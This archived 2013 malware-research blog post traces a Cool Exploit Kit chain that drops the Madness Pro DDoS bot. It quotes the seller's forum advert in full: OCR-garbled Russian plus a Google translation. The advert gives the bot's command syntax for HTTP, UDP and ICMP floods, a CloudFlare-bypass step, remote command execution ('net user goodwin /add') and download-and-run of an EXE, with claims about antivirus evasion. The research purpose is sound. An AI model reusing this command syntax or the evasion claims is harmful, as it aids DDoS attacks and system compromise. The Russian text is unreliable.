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Meet Madness Pro or Few days rise of a Ddos Botnet
Archived: 2026-04-05 14:44:58 UTC

2013-10-14 - Connect the dots

At begining of September I landed on a new instance of Cool Exploit Kit : /paper/
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Cool EK pushing Dipverdle which then call Home and gather

Madness ( sometimes no analysis needed ;) ) ddos bot

Dipverdle (MS name) was new to me. I spent time studying the server and I have the feeling that the C&C side is
a fork of a Ransomware C&C. ( Supposition : the global picture makes me think Dipverdle could be tied to
FretLine the Author of MultilL.ocker then MultiBotnet)

Dipverdle : 01a08386464149fab0c05e24dc4b64ad
User-Agent: Mozilla/5.0 (Windows NT 5.1)

Madness : 3e4107ccf956e2fc7af171adf3c18f0a

Samples here (Owncloud via goo.gl)

The Dipverdle C&C rely on a Sqlite Database.
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Dipberdle C&C Db Structure
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Dipverdle DB with some content

Feeding Splunk with this database :
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16 000 C&C 1st call in (choosen) 4 days
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Dipverdle C&C 1st Call in (choosen) 4 days

The Madness C&C :
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Madness C&C Login Screen

This was really familiar...
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Darkness (Optima) C&C Login Screen - 2012-06-23
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Screenshot of the Advert

Original Text :

Madness PRO

Jara penusa: 01.09.2013

Ncropus co3panus:

Jletom 2012-ro rozia Mbl 3aJyMaJTMCh O CO3[[aHWM TIPUHIUITHAIBEHO-HOBOTo [I/TOC 60Ta /11 TeCTUPOBAHMS
COOCTBEHHBIX BeO-pecypCcoB Ha 0TKa30yCTOWUMBOCTD, TaK KaK HY Of[HA U3 ITPOTECTUPOBAHHBIX CUCTEM He
3aC/Ty’KW/a Jaxke OLeHKH "4".

TecTupyeMmble CeMILTBI BO BpeMst PabOTHI MTOKUPAJTH MaMsITh, 3arpy»Kasii MPOoIieccop JIOKAaTbHOW MallUHbI,
BBIIeTA/M C OIMOKamHu, 3aBrcaiu Ha 50% 3arpy3ku CPU, HenpaBUIBHO [le/1ajii 3aliCH B PEeCTPe, BbI3bIBa/IN
cpabarbiBaHHe 3al[UTHBIX CUCTEM, MHOXXECTBO BECOMBIX OIIMOOK ObIIO Hal/IeHO B TIAHEJISIX YTIPAB/IEHHSI.

[Inis1 co3manust CBOel cucTeMbl MbI 1o/ipo6HO u3yumin: BlackEnergy(ucxonbiii koa), gbot (qucacceM6IuHT),
DirtJumper(gucaccembmunr), Darkness Optima(ucxXoqHBIN Kofi, TPHOOpeTeH Mo A0roBopy), iBot(McxomHbIH Ko,
ripuobpeTeH 10 10roBOpPY), W3Bot (MCXOAHBIN KO[), TaK e ObUTH W3yueHbl NCXOJHbIE KOABI Zeus ¥ MHOTHUX

OKOJIOTEMHBIX ITPOrpaMM.

Bo3moxxHOCTH

- HartrcaH Ha C++, JIerko KpUMTYeTCs, UMeeT MaJiblii Bec (CKaTblid ceMrit < 15k0)

- TIO/THasi COBMeCTUMOCTh o Bcemr Windows cemeiictBa NT (x86 1 x64)

- bor nmeert 7 TUTOB aTak

- ctabuibHOCTE B cucTeMe. TToka3saresu Harpy3ku Ha CPU u O3Y oueHb paBHOMEpHBIE.
- He npuenekaer Buumanve UAC u Windows Firewall

- yMeeT ycTaHaB/IuBaTh port, referal u cookies uHAMBUIyanbHO [y1s KXK0H Lie/H

- nogaep>xuBaet 10 10-Tu Lieneil 0fHOBpEMEHHO

- UMeeT OueHb HU3KYH0 Harpy3ky Ha CPU Gnarozapsi HOBOM, C/I0XKHOW CHCTeMe MapCUHra KoMaH/bl (BO BCex
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aHasorax rnapCHHI IPOXOAUT BHYTPU (YHKIMH, B MHO)KECTBO ITOTOKOB - 3TO Harpy’kaeT IpOoLieCccop JMIIHeH
pabotoii. HoBbIl 60T 3aHOCHUT BCe JJaHHBbIE B MACCUB /IO Hauasla aTakv U Ha QYHKIIIO TIPUXOAAT Y>Ke FOTOBbIE
rapaMmeTpshl: afipec, TopT, pedepan U T.1.)

- IMeeT KOJIOCCa/IbHYI0 BBIXOAHYI0 Molis 6osee 1500 http (1 6omee 30 000 UDP) 3aripocoB B MUHYTY 3a CU€T
TIPSIMOTO B3aMMOJeMCTBUS C CeTEBBIMU paiiBepaMu Jja’ke Ha JeCKTOHBIX Windows! (TO/IBKO TPU UCTI0/TB30BaHUN
WinSock) 3to npumepHo B 10 pa3 Gosnbliie, 4eM HEKOTOPBIE aHAJIOTH U HECKOJIBKO DOJTbIIIe TyUIIUX (TI0 3TOMY
TIOKa3aTesTr0) KOHKYPEeHTOB.

- B TIaHEeJIM YIIPaBJIeHUs 0TOOPa’KAFOTCs: KOJIMUYECTBO 3allpOCOB B MUHYTY, TIPaBa B CUCTeMe, BEPCHUS CUCTEMBI.

- nopgepxusaet 06xoy CloudFlare 3amuTsi (!!!) 1 MHOTMX /IpyTHUX, 60JIE€ MPOCTHIX.

- nogzgep>xuBaeT Slow GET u Slow POST pexxumbt!

- B 3ar0JIOBKe IaKeTa yKasbiBaeTcs oTK/MoueHue Keia (Cache-Control: no-cache), uTo yBesmuuBaeT Harpy3Ky Ha
cepgep.

- 3allliTa Aydasiora OoT-TIaHe b CITeqK/IroueM

JleTeKTHpOBaHuUe:

Tipu mipoBepke Ouiga (6e3 KpUmTa 1 yIakoBKH) TOJBKO 3 aHTUBUPYCA U3 BCeX Bbganu rojo3penue (AVIRA,
ClamAY, VBA32). Bo Bpemsi 10KanbHbIX TecToB KitoueBble AB: Kaspersky, Nod32, DrWeb, Avast npomnyctunu
¢aiin B 100% ciyuaes.

JIVHK Ha pe3y/bTaT: m.exe - AHTUBUDPYCHbIN cKaHep Jotti

Pe)xuMbI aTaku ¥ KOMaH/IbI
Tak Kak cucremMa sIB/IsSIeTCs HpO(bECCPIOHElJ'[bHOﬁ CHMHTAKCHC KOMMaH/ 4aBOJ/IbHO CJ/IOXKeH, HO TOJ/IbKO Ha l'[EpBbeI

B35z, =) CUHTAKCUC KOMaH | 00paTHOCOBMeCTUM C cucteMoi Darkness.

dd1 OcHoBHoli pexxuM pabotel o HTTP nporokony MetogoM GET, ucrosnb3yst COKKeThI. I1oaep>KuBaeT
***cookies u $$$ref u monyckaer no 10 neneit ogHoBpemenHo (paszgenutess ;"). Camasi GbICTPast MO0 KOJTUUECTBY

3anpocoB araka. [Tpumep: dd1=http://ya.ru***cookies$$S$referal;http://mail.ru***cookies2$$$referal2

dd2 Tot e pexxum, uto u dd1, Tonsko Metoz POST. [JobaBnsieTcs obsi3aTe ibHbINM TTapamMeTp (@@ @post_data. Tak
ke nopaepxuBaetcs 10 10-tu ueneil. [Ipumep:
dd2=http://forum.ru/index.php***cookies$$$referal @ @ @login=yyy&password =hhh, 3Ta komaHza 3amoctur
norvH yyy v naposib hhh Ha ckpunt 3eHon H.C.I1. - iaTHBIN XOCTUHT CaiiTOB, KadecTBeHHBIN XocTrHT PHP,

MySQL u Perl. BribupaiiTe BUPTya/bHbBIN XOCTHHT 10 JOCTYITHBIM 1leHaM. BosbIiioit BeI6Op Ta
dd3 araka mo HTTP metomom GET ncnone3ys cuctemMHayro 6ubmioreky Winlnet.dll. Crapas-mo6past ataxa,
rcnonb3yemast B MHOTHX Delphi 6otax. MepieHHast u3-3a orpaHuuenuii feckTonHeix Windows. He

noAiepkuBaeT pedeparn u Kyku, roggepxusaet fo 10 mesneit. [Ipumep: dd3=http://host.com/script.php

dd4 araka mo HTTP metonom POST ucnosnb3ys cucremuyto 6ubmioreky Winlnet. To ke uto u dd3, Tonsko POST.

ITpumep:
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dd4=http://host.com/script.php@ @@ @@ @login=yyy&password=hhh

dd5 ICMP araka (riunrn). [ogaepsxuaetcs go 10 teneit. [Tpumep dd5=198.168.0.1;199.0.0.1

dd6 UDP araka. ITogzaepsxuBaetcs go 10 1jesieit. Obsi3aTe/ibHbIe TapaMeTphbl: MIOPT U TeKCT. [Tpumep:
dd6=192.168.0.2:27015@@@flud_text

dd7 araka mo HTTP metonom GET wucronb3ys cuctemnyto 6ubmioreky URMON.dIl Cpenssist To CKOPOCTH aTaka,

nogaep>kuBaeT o 10 1iesielt u He moaepkuBaeT cookies u referal

cfa xomanza o6xoza 3amuTel CloudFlare (!). Vicons3yercs TOJIBKO Bo Bpemst pabotsl dd7. He ocTaBHaB/IMBaeT
BbInosiHeHHe koMaH bl dd7. CyTh mpocTa - 60T BBITIO/THSIET sIBa CKPUIIT, TOTy4aeT HyHy0 cookie u CloudFlare
curTaeT 3arpockl cAenaHHble dd7 aBropusoBaHHbIMU. [Ipumep: dd7=http://site.ru/index.php, 3atem (uepe3

nionTopsl MuHYTHI) cfa=http://site.ru/index.php

cmd KOMdH/la BBITIOJTHAETCA B KOMMdHAHOM WHTEPIIPUTATOPE cmd.exe Ha JI0Ka/IbHOM MarlvHe. He ocTaHaB/MBaeT

BBITIO/IHEHHWe Ipyrux koMmaHz. [Tpumep: cmd=net user goodwin /add

exe KOMaH/la Ha 3arpy3Ky u BoinosnHeHre EXE daiina. He octaHaBmMBaeT BHINOMHEHHe APYTUX KoMaH[,. Daiin
COXPaHSIeTCsI T10/] TeM >Ke UMeHeM, T107l KOTOPbIM OH ObUT B UHTepHeTe. TIpor3BOAUTCS 3 TIOTBITKY CKauyaTh (haii.

[Tpumep: exe=http://site.com/filename.exe

ITanens ynpaB/ieHus:

MBpI UCTo/Ib30Bau M3MeHeHHYo Ha ~70% ITY ot apyroro koMriiekca (proOpeTeHHYO TI0 ZI0TOBOPY Ha
W3MeHeHHe U TIeperpofaxy), epernucas ee MPaKTHUeCKU MOTHOCTBIO, TaK Kak ObUI0 0OHAPY)KEeHO CJIUILIKOM
MHOTO0 OILIMOOK ¥ KOJ| He TToHpaBw/ICs. EcTecTBeHHO BCe OBbIJIO MCMIPABIeHO U ONTUMU3HUPOBAHO - HoBas [TY Bam

TOHPaBUTCA!

CKpHHIIOTHI:
:screenshot: CkpuHitiot|Screenshot (login screen)

:screenshot: CkpuHitiot|Screenshot (see english translation)

[JeMoHcTpanyst:
Tak-Kak crcTeMa O4eHb MOII[HAs U JIJIsI IeMOHCTPALMH BO3MOXXHOCTeH Hy)KHO Bcero 15-20 60TOB, KOTOpbIe BCerza

B HA/IMYKWH - CeJIJIEPBI MTOCTaparOTCA IMPOAEMOHCTPUPOBATE MOIIIHOCTD.

Hensbr:

- TectoBast urieH3ust $0 (TOMBKO /1715 POBEPSIIOIIMX Ha JOPYMAx U TeCTEPOB. OOHOB/IEHHSI HE MPeyCMOTPEHbI)

- 6azoBas ymien3us $500 (o6HoBeHue/pebuy $50, o6HOBNeHMe Ha HOBYO Bepcuro $100, 1jeHa Ha Moayu OyzeT
yCTaHOBJIeHa TO3)Ke)

- mosHast yiutieH3ust $950 (Bce 0OHOBEHNST, PeOWIALI ¥ MOY/IH OeCTIaTHBI)
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CKujku:

- 30% pns BnagensueB GBot/Andromeda/Dirt Dumper, 6a30Boii muijen3un iBot, 6a30B0ii/cepeOpsTHOM MULIEH3UH
Darkness

- 50% pn71st BMaziebLeB 30/710TOM U GpuranToBo uiieH3un Darkness/iBot

-20% AOINO/THUTEJIBHO OJId TeX, KTO an/Io6peTan YKa3aHHbI€ BbIlI€E MPOAYKThI HE bonee HeJe/n Ha3a/.

Omnara

K oriate ripuHuMatotcs 1, WMR/WMZ/WMB, PM u LR. A Tak ke mo0asi BaoTa uepe3 0OMeHHUK.

Tl'apanTumn:

T'oToBHOCTB paboTarh Yepe3 rapaHTa Jir000ro, M3BeCTHOTO (hopyMma.

Paccpouka
[I71s1 UMEIOIUX pernyTaLyIo W/UIM aTTeCTaThl JIFoJel MpeyCMOTpeHa cucteMa paccpouku. ObcyskaaeTcs

WHAWBUYA/IbHO.

KoHTakThI
- ceqiep 1 1ICQ: 902300
- cenniep 2 1CQ: 903400

- pyxoBozuTens npoekTta ICQ: 395891570

['oTOB MpONTH NPOBEPKY Ha YCJIOBUSIX aIMUHUCTpALUY (JopyMa.

Translated by google as :

Madness PRO

Release Date: 01.09.2013

The history of creation :

In the summer of 2012 we started thinking about creating a fundamentally new DDoS - bot to test their own web
resources on the fault-tolerance, since none of the systems tested did not deserve to even estimate "4".

The test samples during devoured memory load on the CPU local machine flew with errors, freezes on 50 %
capacity CPU, making wrong entries in the registry , causing activation of protective systems , many weighty
error was found in the control panels .

To create your own system, we have studied in detail : BlackEnergy ( source code ), gbot ( disassembling ),
DirtJumper ( disassembling ), Darkness Optima ( source code , purchased under the contract ), iBot ( source code ,
purchased under the contract ), w3Bot ( source) , were also studied the source code of Zeus and many

okolotemnyh programs.

capabilities
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- Written in C + +, easily crypt is lightweight (compressed sample < 15KB )

- Full compatibility with all Windows family of NT (x86 and x64)

- Boat has 7 types of attacks

- Stability in the system. Indicators load on the CPU and RAM are very uniform .

- Do not attracted the attention of UAC and Windows Firewall

- Able to establish port, referal and cookies individually for each goal

- Supports up to 10 targets simultaneously

- Has a very low load on the CPU with the new , complex system of parsing commands ( all analogs parsing takes
place inside a function in multiple threads - it's extra work load on the processor . New bot enters all data in the
array before the attack on the function and come ready options address, port , referral , etc.)

- Has an enormous power output of more than 1500 http ( and more 30000 UDP) queries per minute through
direct interaction with the network drivers , even on desktop Windows! (only using WinSock) is about 10 times
more than some few analogs and more top ( on this parameter ) competitors.

- In the control panel are : the number of requests per minute , right in the system , the version of the system.

- Supports bypass CloudFlare protection ( !) And many other more common .

- Supports Slow GET and Slow POST modes !

- In the packet header specifies disabling the cache (Cache-Control: no-cache), which increases the load on the
server .

- The protection of dialogue bot panel spetsklyuchem

Detection:
checking build (without crypt and packaging ), only 3 out of all the anti-virus gave a suspicion (AVIRA, ClamAYV,
VBAZ32). During the test key local AV : Kaspersky, Nod32, DrWeb, Avast missed a file in 100 % of cases.

Link Result : m.exe - Virus scanner Jotti

Modes of attack and the team
Since the system is a professional syntax commands davolno complex, but only at first sight = ) Command Syntax

obratnosovmestim with the Darkness.

dd1 basic mode of operation via HTTP protocol using GET, using sokkety . Supports *** cookies and $ $ $ ref
and allows for up to 10 targets simultaneously (separated by " ;") . The fastest search volume attack . Example :
dd1 = http://ya.ru *** cookies $ $ $ referal; http://mail.ru *** cookies2 $ $ $ referal2

dd2 same treatment as dd1, only the method POST. Added optional parameter @ @ @ post_data. It is also support
for up to 10 targets. Example : dd2 = http://forum.ru/index.php *** cookies $ $ $ referal @ @ @ login = yyy &
password = hhh, this team posted a username and password yyy hhh on the script Zenon NSP - Paid web hosting ,
quality hosting PHP, MySQL and Perl. Choose a shared hosting at affordable prices. Great choice that

dd3 attack on the HTTP GET method using a system library WinlInet.dll. Good old attack that is used in many

Delphi bots . Slow due to the limitations of desktop Windows. Does not support the referral and cookies , supports
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up to 10 targets . Example : dd3 = http://host.com/script.php

dd4 attack via HTTP POST method using the system library WinInet. Same as dd3, only POST. Example:
dd4 = http://host.com/script.php @ @ @ @ @ @ login = yyy & password = hhh

dd5 ICMP attack ( pings ) . Supports up to 10 targets . Example dd5 = 198.168.0.1; 199.0.0.1

dd6 UDP attack . Supports up to 10 targets . Required parameters : port , and text. Example : dd6 =
192.168.0.2:27015 @ @ @ flud_text

dd7 attack on the HTTP GET method using a system library URMON.dIl average speed attack that supports up to

10 targets and do not support cookies and referal

cfa command to bypass the protection CloudFlare (!). ONLY used during dd7. Not ostavnavlivaet the command
dd?7. The point is simple - the bot executes java script gets the desired cookie and believes CloudFlare requests
made by authorized dd7 . Example : dd7 = http://site.ru/index.php, then (after fifteen minutes ) cfa =
http://site.ru/index.php

cmd command is executed on the command interpreter cmd.exe on the local machine . Does not stop the

execution of other commands. Example : cmd = net user goodwin / add

exe command to load and run the EXE file. Does not stop the execution of other commands. The file is saved
under the same name, under which he had been on the internet. Made three attempts to download the file .

Example : exe = http://site.com/filename.exe

Control Panel :
We used a modified ~ 70 % PU from another set (purchased under a contract for change and resale ) by rewriting
it almost completely, as it was found too many mistakes and did not like the code . Of course everything was

corrected and optimized - New PU Enjoy !
Screenshots:

: screenshot: Screenshot | Screenshot (login screen)

: screenshot: Screenshot | Screenshot
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Demo:

So, as the system is very powerful , and to demonstrate the need to only 15-20 boats that are always available -

Sellers will try to demonstrate the power .

prices:
- Test License $ 0 ( only for checking the forums and testers. Updates are not provided )

- Basic License $ 500 (upgrade / Rebuild $ 50 upgrade to the new version $ 100 , the price of modules will be
installed later)

- $ 950 full license ( all upgrades, rebuilds and modules are free)

discounts:

- 30% for the owners GBot / Andromeda / Dirt Dumper, basic license iBot, base / silver license Darkness
- 50 % for holders of gold and diamond license Darkness / iBot

- 20 % extra for those who acquired the products listed above are not more than a week ago.

payment
to accept POISON , WMR / WMZ / WMB, PM and LR. And as any currency through an exchanger.

Warranties :

Willingness to work through the guarantor of any known forum.

installment plan

In order to have a reputation and / or certificates of a system for people installments. Discussed individually.

Contacts
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- Celler 1 ICQ: 902300
- Celler 2 ICQ: 903400
- Project Manager ICQ: 395891570

Ready to be tested under the administration of the forum.

Then he replied about CloudFlare protection :

Oo6xop 3anurhl CloudFlare.

3amuTHbI Komriekc CloudFlare 6asupyeTcst Ha onpeesieHnd Opay3epa 3a CUeT BHITIOJIHEHUs B HeM Java

CKpHIITAQ, IMOCJ/Ie Yero KJIMEeHTY BbIAd€TCAd YHHUKa/IbHasA cookies.

Bor, Kak u 6pay3ep, TeopeTuueCKr MO>KET BBIITOTHUTE Java cKpurT. OTPOMHas CJIOKHOCTE B TOM, UTOOBI
YMeCTUTh HeoOXOAUMBIH 00beM MaTeMaTHueCKUX MyHKIMI B CKDOMHBIHM pa3Mep 6uga 60Ta, OfHaKO HEKOTOPbIe

3K3eMIUIAPBI C TTIOCTaB/IeHOe 38.,[[3‘16171 Cl'Ipan[H}OTCH!

PaccmoTtpuM npuMep TecTUpoBaHus cepeepa http:/server.com, 3auuienHoro CloudFlare ¢ momolnesto Kommnnekca
c++ Madness 1.08:

1) BorueTty otaercst komanza dd7=http://server.com, rnocse yero HaYMHAIOTCS PeKBECThI HAa CepBep C MOMOLL[bIO
crcteMHol 6nbnmmotekn UrlMon. Kak BUHO 110 jioram cepBepa 1 cHUpepy, 60TaM Bo3Bpatijaercs ommbka 302,

YTO 03HAYaeT PabOTy 3al[UTEL.

2) BotHeTy oTJaeTcst KoMaHa cga=http://server.com 1 60THI 3anpariyBaoT cookies /it aBTOpU3aLy. BhITIOTHNUB
Java CKpUIT KaK/Ibli OOT MosTyuaeT yHUKaJIbHYO (I/1s1 ero ip 1 useragent) cookie KOTOPYHO TYT >Ke BKJTFOUAeT B
3aro/I0BOK rakeTa. I1o jjoram BHJHO UTO 3arpoCkl Ha CepBep MPOXOASAT B HOPMAaIbHOM PeXXMe U BO3BpalliaeMbli

KOHTEHT COOTBETCTBYeT KOHTeHTy BebcaliTa Ha HeM!
Q) INouemy Henb3s1 cZie/1aTh 3TO ABTOMAaTUYeCKU?

A) B 3aBUCMMOCTH OT HaCTPOEeK 3allliThl cooKie MOXKeT M3MeHSITbCSI B IPOU3BO/ILHOM MHTEpPBaJjie U aBTOpH3aLivio
HY’>KHO MPOXOAUTh BHOBb. [10Ka UTO aBTOMAaTrKa He CIIpaB/sieTCs C 3TUM TakK, Kak 3TOro JiefiaeT ueoBeK-
nipoceccronan. CMIIKOM YacThblii MHTEPBaJI MPOBEPKY CUJIBHO YXY/[ILAeT 103a0UInTH CaiTa, T.K. 00bIUHbIE

nosib3oBaresiv BUAAT Kauesnn CloudFlare Kaxkapiii Boxkuii cekyH/I.
Q) MO)XHO /T MCITO/Ib30BaTh 3TOT METO/] TIOCTOSIHHO, JIJ1s1 JTFOOBIX Lie/IeH?

A) MoxHo, HO He pekoMeHzyetcs. T.K. dd7 cama 1o cebe Gosiee MezyieHHas aTaka B cpaBHeHuH ¢ dd1, a TyT elie

Harpy3ka yBe/IMUMBaeTCs U3-3a COCTaB/IeHHs CrieljriakeTa 00Xo/a 3aliuThL.
HoBocTtu npoekTa

C cerofiHsAIIHEro HS C HaMy paboTaeT elije OJWH Cesijiep oTAena mpoAax: iSupport (709186)
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ICQ: 902300, 903400, 709186

JAB: damrail3@jabber.ru

Translated by google as :

Protection bypass CloudFlare.

CloudFlare security complex is based on the determination of the browser by running Java script in it , after which

the client is issued a unique cookies.

Both, like the browser can theoretically run Java Script . The great difficulty is to fit the required amount of

mathematical functions in the modest size of the build bot , however, some instances of coping with the task !
Consider the example of a test server http://server.com, protected by CloudFlare complex + + Madness 1.08:

1) A botnet command is given dd7 = http://server.com, then start rekvest to the server using the system library

UrlMon. As can be seen on the server logs and sniffer , 302 bots error is returned , which means job security .

2) A botnet command is given cga = http://server.com cookies and bots request for authorization. Java script
executing each bot has a unique (for its ip and useragent) cookie which immediately includes the packet header .
According to the logs can be seen that the requests to the server are in normal mode and returns the content of the

website corresponds to the content on it!
Q) Why can not I do it automatically?

A) Depending on the security settings, cookie can be changed in an arbitrary interval and authorization need to go
again . So far, the automation can not cope with it as it makes a person a professional . Too frequent inspection

interval greatly reduces the usability of the site , as ordinary users see every single swing CloudFlare seconds.
Q) Can I use this method all the time, for any purpose ?

A) It is possible, but not recommended. Since dd7 itself is a slow attack , compared with dd1, and then there's the

load is increased due to the preparation of the special package to bypass the protection .
News of the project

From today, we are working with another Celler Sales: iSupport (709186)

ICQ: 902300, 903400, 709186

JAB: damrail3@jabber.ru
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Madness C&C
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Botnet Operator testing his baby.

Thanks to Arbor Networks ASERT Threat Intelligence for additional info.

Source: https://malware.dontneedcoffee.com/2013/10/meet-madness-pro-or-few-days-rise-of.html
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